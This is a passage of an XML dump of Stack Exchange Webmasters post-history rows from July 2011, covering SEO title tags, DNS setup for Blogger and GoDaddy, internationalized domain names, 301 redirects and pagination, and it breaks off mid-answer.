  <row Id="41607" PostHistoryTypeId="2" PostId="17314" RevisionGUID="1fd17873-fe84-4bec-8801-4c94d76ed679" CreationDate="2011-07-24T12:34:46.033" UserId="9163" Text="- should the `&lt;title&gt;` tag be the same as the `&lt;h1&gt;` tag?&#xD;&#xA;- should the `&lt;title&gt;` tag contain the website name too?" />
  <row Id="41608" PostHistoryTypeId="1" PostId="17314" RevisionGUID="1fd17873-fe84-4bec-8801-4c94d76ed679" CreationDate="2011-07-24T12:34:46.033" UserId="9163" Text="SEO questions about website page titles" />
  <row Id="41609" PostHistoryTypeId="3" PostId="17314" RevisionGUID="1fd17873-fe84-4bec-8801-4c94d76ed679" CreationDate="2011-07-24T12:34:46.033" UserId="9163" Text="&lt;seo&gt;&lt;google&gt;&lt;title&gt;&lt;heading&gt;" />
  <row Id="41610" PostHistoryTypeId="2" PostId="17315" RevisionGUID="f8c7b17d-4cbc-45f1-8f54-822308fa9666" CreationDate="2011-07-24T12:40:36.703" UserId="1009" Text="**Google provides very detailed instructions: [How do I use a custom domain name for my blog?][1]** Can you point out which step you don't understand? Are you trying to redirect from a *sub-domain* or *top-level domain*?&#xD;&#xA;&#xD;&#xA;*My guesses:*&#xD;&#xA;&#xD;&#xA;1. **In addition to CNAME records, you also need to configure the [A records (also called host records)][2].** The CNAME records just take care of sub-domains like *www*.domain.com or *blog*.domain.com. The A records describe how the actual top-level domain is processed. From the Google documentation:&#xD;&#xA;&gt; The following action links your naked domain (example.com) to your&#xD;&#xA;&gt; actual site (www.example.com). If you skip this step, visitors who&#xD;&#xA;&gt; leave off the &quot;www&quot; will see an error page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Enter your domain name in the format example.com, and list the I.P.&#xD;&#xA;&gt; addresses shown below in the &quot;A&quot; section. You'll need to create four&#xD;&#xA;&gt; separate A-records which point to four different Google IPs.&#xD;&#xA;&gt;&#xD;&#xA;&gt;  216.239.32.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.34.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.36.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.38.21&#xD;&#xA;&#xD;&#xA;2. **Update your Blogger settings (and wait).** You need to tell Blogger to expect requests from the custom domain and wait an hour (sometimes a few days) for the DNS changes to propagate.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;I don't recommend it, but there is an alternate, *slightly* simpler solution: many registrars support &quot;masked&quot; URL redirection. In your registrar's settings, just forward your domain to BLOGGER_ID.blogspot.com. This solution is domain-registrar-specific; NameCheap calls this option &quot;[Url Frame][3]&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/static.py?page=ts.cs&amp;ts=1233381&#xD;&#xA;  [2]: http://www.google.com/support/a/bin/answer.py?answer=48090#H&#xD;&#xA;  [3]: http://namecheap.simplekb.com/kb.show/article/urlforwardingtypes" />
  <row Id="41611" PostHistoryTypeId="2" PostId="17316" RevisionGUID="3258f685-e32d-401b-9813-f9e3e4a83603" CreationDate="2011-07-24T12:48:33.213" UserId="8687" Text="Godaddy's deal on .info is for one year only, next year you'll be back to full price.&#xD;&#xA;&#xD;&#xA;If you want to save money, register one generic domain and then use subdomains for your web sites. There's nothing to stop you having a hundred or a thousand subdomain sites for you $10 registration fee." />
  <row Id="41612" PostHistoryTypeId="2" PostId="17317" RevisionGUID="8317e730-1e4c-49bc-942f-51b6c181eb3c" CreationDate="2011-07-24T13:17:02.443" UserId="5806" Text="The standard recommendation is **Yes to the first question** and **No to the second** but there are no absolutes.&#xD;&#xA;&#xD;&#xA;Both the title and H1 should at least use the same keywords but you may vary it to suit how the H1 is displayed. The H1 is almost always more visible to the user, so search engines tend to emphasize it more.&#xD;&#xA;&#xD;&#xA;For the business name, if you want to include it, it is recommended to place it at the end in case it gets truncated when displayed on a tab. Plus, words at the beginning are given more importance for SEO. So you may guess that if a page is *about* the business and the business has its own distinct brand, there are cases where putting it first makes sense." />
  <row Id="41613" PostHistoryTypeId="5" PostId="17314" RevisionGUID="fbf92625-51ec-4b28-a5e0-f0a2fa45c9f5" CreationDate="2011-07-24T13:46:41.287" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Should my Title tag be the same as my H1 tag?](http://webmasters.stackexchange.com/questions/2631/should-my-title-tag-be-the-same-as-my-h1-tag)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;- should the `&lt;title&gt;` tag be the same as the `&lt;h1&gt;` tag?&#xD;&#xA;- should the `&lt;title&gt;` tag contain the website name too?" />
  <row Id="41614" PostHistoryTypeId="10" PostId="17314" RevisionGUID="9ea4a043-6851-4fe9-ae66-d1125dad364f" CreationDate="2011-07-24T13:46:40.990" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41615" PostHistoryTypeId="5" PostId="2668" RevisionGUID="49aab881-6df1-4a42-aa2d-bd133be40e42" CreationDate="2011-07-24T14:04:51.437" UserId="1253" Comment="added bounty info" Text="In my language there are numerous characters that are not allowed in the standard domain name. However, most of these can be easily replaced with safe equivalents (mostly dropping accents `í` becomes `i` etc.). So while we have often registered both forms (e.g. `timarit.is` and the proper Icelandic `tímarit.is`) we have always made the 'safe' form the default and the other merely redirects to it.&#xD;&#xA;&#xD;&#xA;However, we are now in the position where the substitution is less favorable (`æ` becomes `ae`) and would prefer to use the internationalized name by default.&#xD;&#xA;&#xD;&#xA;My question is simply if there are any known issues with this? Browser incompatibility comes first to mind, but I'm equally worried there are other things that *aren't* coming to mind.&#xD;&#xA;&#xD;&#xA;**BOUNTY**&#xD;&#xA;&#xD;&#xA;I started a bounty on this so I won’t have to post a duplicate question. I’d like to hear if there are any practical consequences using IDNs with (1) FTP and (2) e-mail servers/clients; and (3) which browsers struggle with the domains? (4) What about mobile devices‽ Also (5) has anything changed on the subject—it's almost a year since the question was asked." />
  <row Id="41617" PostHistoryTypeId="2" PostId="17318" RevisionGUID="7b2daaef-1852-45d3-9641-1fac6a885cb5" CreationDate="2011-07-24T14:21:39.743" UserId="1253" Text="&gt;(1) FTP &#xD;&#xA;&#xD;&#xA;It appears that you do need an FTP client that can handle IDNs as it does require special support. Based on what I've read while researching this, that support seems to be widespread and a common feature in all major FTP clients. &#xD;&#xA;&#xD;&#xA;&gt;(2) e-mail servers/clients;&#xD;&#xA;&#xD;&#xA;Based on the wikipedia article for [International Email][1] it looks like email support is not complete:&#xD;&#xA;&#xD;&#xA;&gt; Since Traditional E-mail standards constrain all e-mail header values&#xD;&#xA;&gt; to ASCII only characters, it is possible that the presence of UTF-8&#xD;&#xA;&gt; characters in e-mail headers would decrease the stability and&#xD;&#xA;&gt; reliability of transporting such e-mail. This is because most, if not&#xD;&#xA;&gt; all, e-mail servers, at the time of this writing, do not support these&#xD;&#xA;&gt; characters. &#xD;&#xA;&#xD;&#xA;&gt;A method has been proposed, by members of the IETF, by&#xD;&#xA;&gt; which e-mail can be downgraded into the &quot;legacy&quot; all ASCII format&#xD;&#xA;&gt; which all standard e-mail servers should support. This downgrade&#xD;&#xA;&gt; mechanism fulfills the requirement that e-mail transport be as robust&#xD;&#xA;&gt; and reliable as possible.&#xD;&#xA;&#xD;&#xA; .&#xD;&#xA;&#xD;&#xA;&gt;(3) which browsers struggle with the domains? &#xD;&#xA;&#xD;&#xA;It looks like all of the major browsers support IDNs and have done so for at least two years. The only real issue you may have is with older browsers that do not support IDN. But since IE seems to have supported it since IE7 and the other major browsers' userbase update quickly, this should be a small number of users.&#xD;&#xA;&#xD;&#xA;&gt;(4) What about mobile devices‽ &#xD;&#xA;&#xD;&#xA;Good question. It appears as though the .mobi domain name does not support IDNs. I couldn't find anything specific to the devices themselves but I did find companies claiming they had solutions for IDNs on mobile so I am *guessing* that native support may not exist or is not complete.&#xD;&#xA;&#xD;&#xA;&gt;(5) has anything changed on the subject—it's almost a year since the question was asked.&#xD;&#xA;&#xD;&#xA;Some country specific TLDs have added support and it looks like [spammers have found a way to exploit them][2]. But that's about as much that has changed.&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/International_e-mail&#xD;&#xA;  [2]: http://www.google.com/webhp?sourceid=chrome-instant&amp;ie=UTF-8&amp;ion=1&amp;nord=1#sclient=psy&amp;hl=en&amp;nord=1&amp;site=webhp&amp;source=hp&amp;q=internationalized%20domain%20names%20spam&amp;pbx=1&amp;oq=&amp;aq=&amp;aqi=&amp;aql=&amp;gs_sm=&amp;gs_upl=&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=d4254cc904f96be6&amp;ion=1&amp;biw=1362&amp;bih=931&amp;ion=1&amp;pf=p&amp;pdl=500" />
  <row Id="41618" PostHistoryTypeId="2" PostId="17319" RevisionGUID="49f4a856-17b3-44b1-b8c7-3f933c633631" CreationDate="2011-07-24T15:04:35.900" UserId="1240" Text="Do you have cpanel access?  If so you need to create a subdomain, called, in this example `a`.  Then you would need to go to your domain registrar and create a cname for a.site.com and point it to site.com.&#xD;&#xA;&#xD;&#xA;If you don't have cpanel access (or something similar with a clear button for creating subdomains) you should contact your hosts and ask for support.&#xD;&#xA;&#xD;&#xA;If you can't get support but have SSH access you could go in and add the sub domain manually but how you do that differs depending on your setup." />
  <row Id="41619" PostHistoryTypeId="25" PostId="17235" RevisionGUID="e22b7c66-3370-4eb9-a9b8-a4a9f77f60b1" CreationDate="2011-07-24T15:31:57.733" Comment="http://twitter.com/#!/StackWebmasters/status/95154258621644800" />
  <row Id="41620" PostHistoryTypeId="2" PostId="17320" RevisionGUID="1a401d17-8cf1-43c6-96f3-a6e865cbfce3" CreationDate="2011-07-24T15:35:49.363" UserId="1240" Text="Does anyone know of a good microformat standard for marking up interviews.  &#xD;&#xA;&#xD;&#xA;At the moment I think I am going to fall back to schema.org's `event` but would love to know if there is currently a better standard for one somewhere else." />
  <row Id="41621" PostHistoryTypeId="1" PostId="17320" RevisionGUID="1a401d17-8cf1-43c6-96f3-a6e865cbfce3" CreationDate="2011-07-24T15:35:49.363" UserId="1240" Text="Is there a microformat standard for interviews." />
  <row Id="41622" PostHistoryTypeId="3" PostId="17320" RevisionGUID="1a401d17-8cf1-43c6-96f3-a6e865cbfce3" CreationDate="2011-07-24T15:35:49.363" UserId="1240" Text="&lt;microformats&gt;&lt;markup&gt;" />
  <row Id="41623" PostHistoryTypeId="6" PostId="17286" RevisionGUID="c1bb256f-cb8f-4840-9ebf-84449143e44a" CreationDate="2011-07-24T15:40:35.427" UserId="1240" Comment="Adding better tags." Text="&lt;domains&gt;&lt;dns&gt;&lt;subdomain&gt;" />
  <row Id="41624" PostHistoryTypeId="24" PostId="17286" RevisionGUID="c1bb256f-cb8f-4840-9ebf-84449143e44a" CreationDate="2011-07-24T15:40:35.427" Comment="Proposed by 1240 approved by 8926 edit id of 449" />
  <row Id="41625" PostHistoryTypeId="17" PostId="17321" RevisionGUID="42e0a629-424a-4bdb-aba0-a20f4e10af59" CreationDate="2011-07-24T15:43:04.143" UserId="-1" Comment="from http://stackoverflow.com/questions/6807793/redirection-with-php-or-htaccess-which-is-better-for-seo" Text="" />
  <row Id="41626" PostHistoryTypeId="2" PostId="17321" RevisionGUID="aac37d6b-1f32-4175-b82b-d0a8282a5c0e" CreationDate="2011-07-24T15:41:28.603" UserId="6211" Text="I need one practical advice - is better to redirect with .htaccess Redirect 301 rules, or to use PHP header function (after parsing URL)?&#xD;&#xA;&#xD;&#xA;Which one is better to Google and SEO?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Tnx in adv!" />
  <row Id="41627" PostHistoryTypeId="1" PostId="17321" RevisionGUID="aac37d6b-1f32-4175-b82b-d0a8282a5c0e" CreationDate="2011-07-24T15:41:28.603" UserId="6211" Text="Redirection with PHP or .htaccess - which is better for SEO?" />
  <row Id="41628" PostHistoryTypeId="3" PostId="17321" RevisionGUID="aac37d6b-1f32-4175-b82b-d0a8282a5c0e" CreationDate="2011-07-24T15:41:28.603" UserId="6211" Text="&lt;php&gt;&lt;htaccess&gt;&lt;seo&gt;" />
  <row Id="41629" PostHistoryTypeId="2" PostId="17322" RevisionGUID="242136af-f4a7-4345-aae1-c8b76d5ccc65" CreationDate="2011-07-24T15:44:02.993" UserId="661" Text="HTTP clients cannot tell what caused a server to return a 30x redirect status, so it makes absolutely no difference." />
  <row Id="41630" PostHistoryTypeId="2" PostId="17323" RevisionGUID="02bb9d37-f75b-4cec-9351-6f44d9bcf292" CreationDate="2011-07-24T15:57:39.773" UserId="9167" Text="I've getting lots of 404 errors from crossdomain.xml. Here are the request details, as provided by Google App Engine:&#xD;&#xA;&#xD;&#xA;    404 22ms 19cpu_ms 0kb Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30&#xD;&#xA;    69.130.*.* - - [24/Jul/2011:07:43:42 -0700] &quot;GET /crossdomain.xml HTTP/1.1&quot; 404 124 &quot;http://s.nsdsvc.com/App/DddWrapper.swf?c=3&quot; &quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30&quot; &quot;app.*.*.*&quot; ms=22 cpu_ms=19 api_cpu_ms=0 cpm_usd=0.000633 instance=00c61b117c557326bef77d341a345431e66b&#xD;&#xA;&#xD;&#xA;I'm not sure what is going on. Can anyone help me solve this issue?" />
  <row Id="41631" PostHistoryTypeId="1" PostId="17323" RevisionGUID="02bb9d37-f75b-4cec-9351-6f44d9bcf292" CreationDate="2011-07-24T15:57:39.773" UserId="9167" Text="Wierd crossdomain.xml requests" />
  <row Id="41632" PostHistoryTypeId="3" PostId="17323" RevisionGUID="02bb9d37-f75b-4cec-9351-6f44d9bcf292" CreationDate="2011-07-24T15:57:39.773" UserId="9167" Text="&lt;flash&gt;&lt;404&gt;&lt;google-app-engine&gt;" />
  <row Id="41633" PostHistoryTypeId="2" PostId="17324" RevisionGUID="795a51da-9fcd-4d79-a585-28df75ed1b23" CreationDate="2011-07-24T16:57:17.017" UserId="1240" Text="Do you have flash based adverts on your website, it looks like the 3rd party advert is looking in your domain for the crossdomain.xml.&#xD;&#xA;&#xD;&#xA;Speak to your ad company about this." />
  <row Id="41634" PostHistoryTypeId="2" PostId="17325" RevisionGUID="3e93bc37-b030-4fb1-ae0f-3fd8031fee47" CreationDate="2011-07-24T17:15:30.250" UserId="129" Text="I have about 6000 URLs that need to be redirected after changing the CMS. All those URLs are stored in a DB table together with an ID that allows me to tell what is being referenced. Using this table I could generate one huge .htaccess with a lot of Rewrite rules but I suspect that is very inefficient. What's the best way to go? As far as I can tell there are two options:&#xD;&#xA;&#xD;&#xA; - Using a RewriteMap where the key is the old URL (it contains no ID, just text, so it has to be the whole thing). I wonder if having 100-150 char long keys is gonna work well.&#xD;&#xA; - Generating a DB table that exactly matches every old/new URL pair and calling some small script to make the redirect.&#xD;&#xA;&#xD;&#xA;(Could be summed up as: Is a hash map stored in the filesystem more efficient than a indexed DB table?)&#xD;&#xA;&#xD;&#xA;**Second part of the question.** The new URLs contain the ID of the page being invoked. Something like &#xD;&#xA;&#xD;&#xA;&gt; www.example.com/abc/21-defghi.html&#xD;&#xA;&#xD;&#xA;If instead I call &#xD;&#xA;&#xD;&#xA;&gt; www.example.com/21-xxx.html&#xD;&#xA;&#xD;&#xA; I get a 301 Redirect to the correct URL. Should I bother to generate the exact new URL or is it ok to concatenate two redirects? This means either storing just an ID or the whole new URL.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41635" PostHistoryTypeId="1" PostId="17325" RevisionGUID="3e93bc37-b030-4fb1-ae0f-3fd8031fee47" CreationDate="2011-07-24T17:15:30.250" UserId="129" Text="Optimal way to implement very big redirect list in Apache2" />
  <row Id="41636" PostHistoryTypeId="3" PostId="17325" RevisionGUID="3e93bc37-b030-4fb1-ae0f-3fd8031fee47" CreationDate="2011-07-24T17:15:30.250" UserId="129" Text="&lt;redirects&gt;&lt;mod-rewrite&gt;&lt;apache2&gt;&lt;hash&gt;" />
  <row Id="41637" PostHistoryTypeId="17" PostId="17326" RevisionGUID="1690f486-f0ab-4d8c-9a08-21bd0151688b" CreationDate="2011-07-24T17:39:40.750" UserId="-1" Comment="from http://stackoverflow.com/questions/6808232/what-css-styles-are-analyzed-by-search-engines" Text="" />
  <row Id="41638" PostHistoryTypeId="17" PostId="17327" RevisionGUID="c185c688-d747-40fc-a29b-c2bddbb1a221" CreationDate="2011-07-24T17:39:40.750" UserId="-1" Comment="from http://stackoverflow.com/questions/6808232/what-css-styles-are-analyzed-by-search-engines" Text="" />
  <row Id="41639" PostHistoryTypeId="17" PostId="17328" RevisionGUID="50b6d362-af4b-4dbc-96a6-75f67c55bfeb" CreationDate="2011-07-24T17:39:40.750" UserId="-1" Comment="from http://stackoverflow.com/questions/6808232/what-css-styles-are-analyzed-by-search-engines" Text="" />
  <row Id="41640" PostHistoryTypeId="2" PostId="17327" RevisionGUID="7a3a2868-6648-4d87-bee3-4e79caf64319" CreationDate="2011-07-24T17:02:08.427" UserId="5684" Text="None. AFAIK CSS doesn't factor into it at all." />
  <row Id="41641" PostHistoryTypeId="2" PostId="17328" RevisionGUID="c8277abb-3637-4a3d-97d4-3e80d62b0eed" CreationDate="2011-07-24T17:06:15.587" UserId="9182" UserDisplayName="Miro" Text="As far i know, googles crawler doesn't like hidden text. E.g. when the background match text color." />
  <row Id="41642" PostHistoryTypeId="2" PostId="17326" RevisionGUID="37922b51-b74b-4a58-a6d8-0cfef3458cb1" CreationDate="2011-07-24T16:50:44.220" UserId="9170" UserDisplayName="luxun" Text="I know that Google used to do things like look at `font-size` and `font-weight` (or the equivalents from when Google first started) from their initial paper. But that was in the 90's.&#xD;&#xA;&#xD;&#xA;Does anybody know which styles are important to search engines now?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(Explanation: I know that technically we should serve up the same page to everyone—however, for many websites this simply isn't possible. A website I'm currently working on has a &quot;content-only&quot; version for search engines and users without JavaScript—they *cannot* integrate this version with the &quot;main&quot; JavaScript-friendly version of their site—and I'm not sure which styles I should carry over from the main site's content.)" />
  <row Id="41643" PostHistoryTypeId="1" PostId="17326" RevisionGUID="37922b51-b74b-4a58-a6d8-0cfef3458cb1" CreationDate="2011-07-24T16:50:44.220" UserId="9170" UserDisplayName="luxun" Text="what css styles are analyzed by search engines?" />
  <row Id="41644" PostHistoryTypeId="3" PostId="17326" RevisionGUID="37922b51-b74b-4a58-a6d8-0cfef3458cb1" CreationDate="2011-07-24T16:50:44.220" UserId="9170" UserDisplayName="luxun" Text="&lt;web-development&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="41649" PostHistoryTypeId="25" PostId="17326" RevisionGUID="8ed62e9c-8cda-40e8-a70a-9472918928df" CreationDate="2011-07-24T18:31:58.870" Comment="http://twitter.com/#!/StackWebmasters/status/95199561949253632" />
  <row Id="41650" PostHistoryTypeId="2" PostId="17331" RevisionGUID="29c05a99-f854-40fa-af97-29636805075f" CreationDate="2011-07-24T19:28:23.013" UserId="5806" Text="Creating a huge .htaccess can have a serious performance impact on your system as it is read linearly for all requests, at least until a rule with the L attribute (Last Rule) is matched.&#xD;&#xA;&#xD;&#xA;The way I did something similar (about 3000 redirects) is to put a custom error page in the .htaccess. From memory the syntax is something like this:&#xD;&#xA;&#xD;&#xA;ErrorDocument 404 404.php&#xD;&#xA;&#xD;&#xA;Then in 404.php, implement the logic using a MySQL database, searching for the new URL using the requested URL. If it is found, redirect the request using the PHP location header, if not, then display a custom error page.&#xD;&#xA;&#xD;&#xA;Unlike simply issuing the 404 redirect in the .htaccess, the 404.php file can keep track of requests and keep stats on the redirects being returned." />
  <row Id="41654" PostHistoryTypeId="4" PostId="17323" RevisionGUID="3914b8ad-ebc2-4733-9f7b-b0f7d0350c41" CreationDate="2011-07-24T21:03:36.847" UserId="129" Comment="Corrected spelling in title" Text="Weird crossdomain.xml requests" />
  <row Id="41655" PostHistoryTypeId="24" PostId="17323" RevisionGUID="3914b8ad-ebc2-4733-9f7b-b0f7d0350c41" CreationDate="2011-07-24T21:03:36.847" Comment="Proposed by 129 approved by 1064 edit id of 450" />
  <row Id="41657" PostHistoryTypeId="2" PostId="17333" RevisionGUID="5fc1687f-6b0e-447d-acae-5b9787ec8f07" CreationDate="2011-07-24T21:31:49.783" UserId="8926" Text="I have bloggers and Google sites. I am totally puzzled by the last conversation between me and GoDaddy support. My question:&#xD;&#xA;&#xD;&#xA;&gt; I want to set up URL Redirection to the site &quot;research.math.com&quot;, not&#xD;&#xA;&gt; URL frame. How can I do that?&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. When I set up the CNAME with &quot;research&quot;, &quot;ghs.google.com&quot; and &quot;1&#xD;&#xA;&gt; hour&quot;, GoDaddy rejects it.&#xD;&#xA;&gt; 2. When I set up the CNAME with &quot;www&quot;, &quot;ghs.google.com&quot; and &quot;1 hour&quot;,&#xD;&#xA;&gt; GoDaddy accepts it.&#xD;&#xA;&gt; &#xD;&#xA;&gt; how can I set up the CNAME so that the URL Redirection works&#xD;&#xA;&gt; correctly?&#xD;&#xA;&#xD;&#xA;They posted an automatic feeling msg:&#xD;&#xA;&#xD;&#xA;&gt; Above your list of domain names, roll over the Nameservers icon and&#xD;&#xA;&gt; click Set Nameservers. In the Set Nameservers section, select the I&#xD;&#xA;&gt; have specific nameservers for my domains. option and then enter your&#xD;&#xA;&gt; nameserver information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ok, is this really so easy? But how can I know the nameservers for Google products such as blogger and google sites? Is the &quot;ghs.google.com&quot; the nameserver of Google for all of their products?" />
  <row Id="41658" PostHistoryTypeId="1" PostId="17333" RevisionGUID="5fc1687f-6b0e-447d-acae-5b9787ec8f07" CreationDate="2011-07-24T21:31:49.783" UserId="8926" Text="How can I set up URL Redirection with Google and GoDaddy?" />
  <row Id="41659" PostHistoryTypeId="3" PostId="17333" RevisionGUID="5fc1687f-6b0e-447d-acae-5b9787ec8f07" CreationDate="2011-07-24T21:31:49.783" UserId="8926" Text="&lt;godaddy&gt;&lt;blogger&gt;&lt;google-sites&gt;" />
  <row Id="41660" PostHistoryTypeId="25" PostId="17325" RevisionGUID="fb514123-2fdb-4622-9125-91ce3ff81210" CreationDate="2011-07-24T21:31:59.120" Comment="http://twitter.com/#!/StackWebmasters/status/95244860654747649" />
  <row Id="41661" PostHistoryTypeId="2" PostId="17334" RevisionGUID="f506ad77-e2f8-41d6-bf15-bf9307eb8466" CreationDate="2011-07-24T21:54:19.590" UserId="8926" Text="Let's get the trinity right, explained [here][1]:&#xD;&#xA;&#xD;&#xA; 1. I am using Google sites, Blogger and Google Apps for **content hosting**.&#xD;&#xA;&#xD;&#xA; 2. I use Go Daddy as **domain registration**.&#xD;&#xA;&#xD;&#xA; 3. I have no idea about my **DNS hosting**.&#xD;&#xA;&#xD;&#xA;So how can I get &quot;CNAME referral&quot; (mentioned as &quot;the essential element&quot; in the last link)? I hope it is the key to get my domains and subdomains working with &quot;URL redirection&quot;, not &quot;URL framing&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: http://blogging.nitecruzr.net/2007/09/trinity-and-your-web-site.html" />
  <row Id="41662" PostHistoryTypeId="1" PostId="17334" RevisionGUID="f506ad77-e2f8-41d6-bf15-bf9307eb8466" CreationDate="2011-07-24T21:54:19.590" UserId="8926" Text="How can I get &quot;CNAME referral&quot; for my primary domain and sub domains?" />
  <row Id="41663" PostHistoryTypeId="3" PostId="17334" RevisionGUID="f506ad77-e2f8-41d6-bf15-bf9307eb8466" CreationDate="2011-07-24T21:54:19.590" UserId="8926" Text="&lt;dns&gt;&lt;blogger&gt;&lt;google-sites&gt;" />
  <row Id="41664" PostHistoryTypeId="2" PostId="17335" RevisionGUID="172cecef-c581-4f20-912e-ba871e909c90" CreationDate="2011-07-24T22:05:22.347" UserId="8926" Text="I am fed up with Blogger's odd error msgs and Go Daddy's automatic replies to questions. They have never mentioned the word &quot;**DNS Hosting**&quot; to me, apparently the thing I am missing. I would really love to learn things, instead of learn to &quot;click&quot; things. I want to see what happens at the background.&#xD;&#xA;&#xD;&#xA;So is it possible that I do everything (3 things below)?&#xD;&#xA;&#xD;&#xA; 1. DNS hosting &lt;---- ?? by whom is this thing controlled?&#xD;&#xA; 2. content hosting &lt;--- needs some laptop&#xD;&#xA; 3. Registration &lt;-- needs ICANN approval&#xD;&#xA;&#xD;&#xA;ok, I am totally lost with this mess but I am looking for a simpler way to control things. I would really love a powerful commandline access and edit things in files (instead of Go Daddy's click this that blaaH). Anyone solved this problem for powerusers more simply?" />
  <row Id="41665" PostHistoryTypeId="1" PostId="17335" RevisionGUID="172cecef-c581-4f20-912e-ba871e909c90" CreationDate="2011-07-24T22:05:22.347" UserId="8926" Text="Control Content Hosting, DNS Hosting and Registration with command line?" />
  <row Id="41666" PostHistoryTypeId="3" PostId="17335" RevisionGUID="172cecef-c581-4f20-912e-ba871e909c90" CreationDate="2011-07-24T22:05:22.347" UserId="8926" Text="&lt;dns&gt;&lt;registration&gt;" />
  <row Id="41670" PostHistoryTypeId="2" PostId="17336" RevisionGUID="0419cdcf-7c7e-4358-a61c-2858cd5a35cc" CreationDate="2011-07-24T22:24:11.053" UserId="1253" Text="There aren't any that I can find. But even if there were, it doesn't mean the search engines will honor it. If the microformat isn't listed at schema.org, which is honored by all of the major search engines, then it isn't standard and there is no reason to believe it will be used by them." />
  <row Id="41674" PostHistoryTypeId="2" PostId="17337" RevisionGUID="d8bd12c1-af44-4ee5-9ae1-1cb2b79376d9" CreationDate="2011-07-24T22:33:39.793" UserId="745" Text="I don't know of a microformat specifically for interviews, but you could combine [definition lists][1] (with the question as the term, the answer as the description) with Google's [author markup][2]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/2004/WD-xhtml2-20040722/mod-list.html#sec_11.1.&#xD;&#xA;  [2]: http://searchengineland.com/google-adds-authorship-rich-snippet-markup-80455" />
  <row Id="41675" PostHistoryTypeId="2" PostId="17338" RevisionGUID="7a916c2b-e25a-4af8-9651-139e7aeb6d47" CreationDate="2011-07-24T23:23:19.650" UserId="1941" Text="I have a WordPress blog running on an Apache2 server currently that I need to completely move to a new domain name.&#xD;&#xA;&#xD;&#xA;http://www.somesite.com/ to http://www.someothersite.com&#xD;&#xA;&#xD;&#xA;I need all requests to that domain to be redirected to a new domain name. Can this be done with .htaccess? If so what's the rule to be used?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41676" PostHistoryTypeId="1" PostId="17338" RevisionGUID="7a916c2b-e25a-4af8-9651-139e7aeb6d47" CreationDate="2011-07-24T23:23:19.650" UserId="1941" Text="How to 301 redirct all incoming requests to a domain to another domain?" />
  <row Id="41677" PostHistoryTypeId="3" PostId="17338" RevisionGUID="7a916c2b-e25a-4af8-9651-139e7aeb6d47" CreationDate="2011-07-24T23:23:19.650" UserId="1941" Text="&lt;domain-names&gt;&lt;apache2&gt;&lt;migration&gt;" />
  <row Id="41678" PostHistoryTypeId="2" PostId="17339" RevisionGUID="1307f170-87ba-47b0-8a8d-dca130fc0a3c" CreationDate="2011-07-24T23:37:51.527" UserId="4461" Text="*TL;DR:*  &#xD;&#xA;You shouldn't be worried. Google will find your content fine.&#xD;&#xA;____  &#xD;&#xA;*Long Answer:*  &#xD;&#xA;Pagination for e-commerce is _slightly_ different to pagination for content sites, mostly due to content is broken into paginated chunks from the whole. Where things get similar (in terms of duplicate content) is when you have paginated pages of tags, categories or posts - where these tags, categories and posts/pages have their own 'home'.&#xD;&#xA;&#xD;&#xA;Google's primary focus in the post you linked to was dealing with URL parameters to provide a refinement and sorting function to handle the many ways in which products on an e-commerce site can be displayed. The reason for Google offering this service is to ensure it's not wasting it's effort on crawling pages that it already has crawled (it's pitch to webmasters is that each site has a &quot;[crawl budget][1]&quot; that could be wasted by exposing refinement/filtering pages).&#xD;&#xA;&#xD;&#xA;In terms of pure pagination issues that any site has, e-commerce or not, there are a number of methods to offset duplicate content problems (none of which, it seems, is the *best* approach).&#xD;&#xA;&#xD;&#xA;Let's take a look at your options:&#xD;&#xA;&#xD;&#xA; 1. **Google Webmaster Tools parameter handling service** - as you linked to. This is a _Google only_ service that provides hints/instructions to Google - it's effectiveness is untested at this stage, but it serves Google more that it serves your website.&#xD;&#xA; 2. **[Relevance attributes][2]** - using `rel=&quot;previous&quot;` or `rel=&quot;next&quot;` to your pagination links can provide a clear association with a page's siblings. Recently reinforced in the HTML5 spec. While not a proven concept, should be used as a matter of best practice.&#xD;&#xA; 3. **[Relevance meta][3]** - similar to relevance attributes, these tags are provided in the head of the HTML that provide association with other pages.&#xD;&#xA; 4. **[Pagination using AJAX][4]** - presenting the whole page and then using JavaScript or AJAX to break that page up has been a method that has worked for many enterprise systems.&#xD;&#xA; 5. **[Rel=&quot;nofollow&quot;][5]** - similar to the relevance attributes above in that it's applied at the link level, but this method is one that should only be used rarely and in special circumstances as it doesn't give the appropriate signal to search engines - effectively &quot;nofollow&quot; is a down-vote for your own content and the link value isn't transferred - but crawling/indexing still occurs.&#xD;&#xA; 6. **[Meta Noindex][6]** - applied at the page level, this instructs the search engines to crawl, but not index the paginated pages, meaning that the content is crawled and discovered, but the page won't appear in search results. It's a common method but has the downfall of not surfacing content relevant in the query if implemented wrongly (i.e. without an accompanying `rel=&quot;canonical&quot;` tag)&#xD;&#xA; 7. **[Canonical Link Element][7]** - this &quot;hint&quot; is widely adopted and accepted by the major search engines and 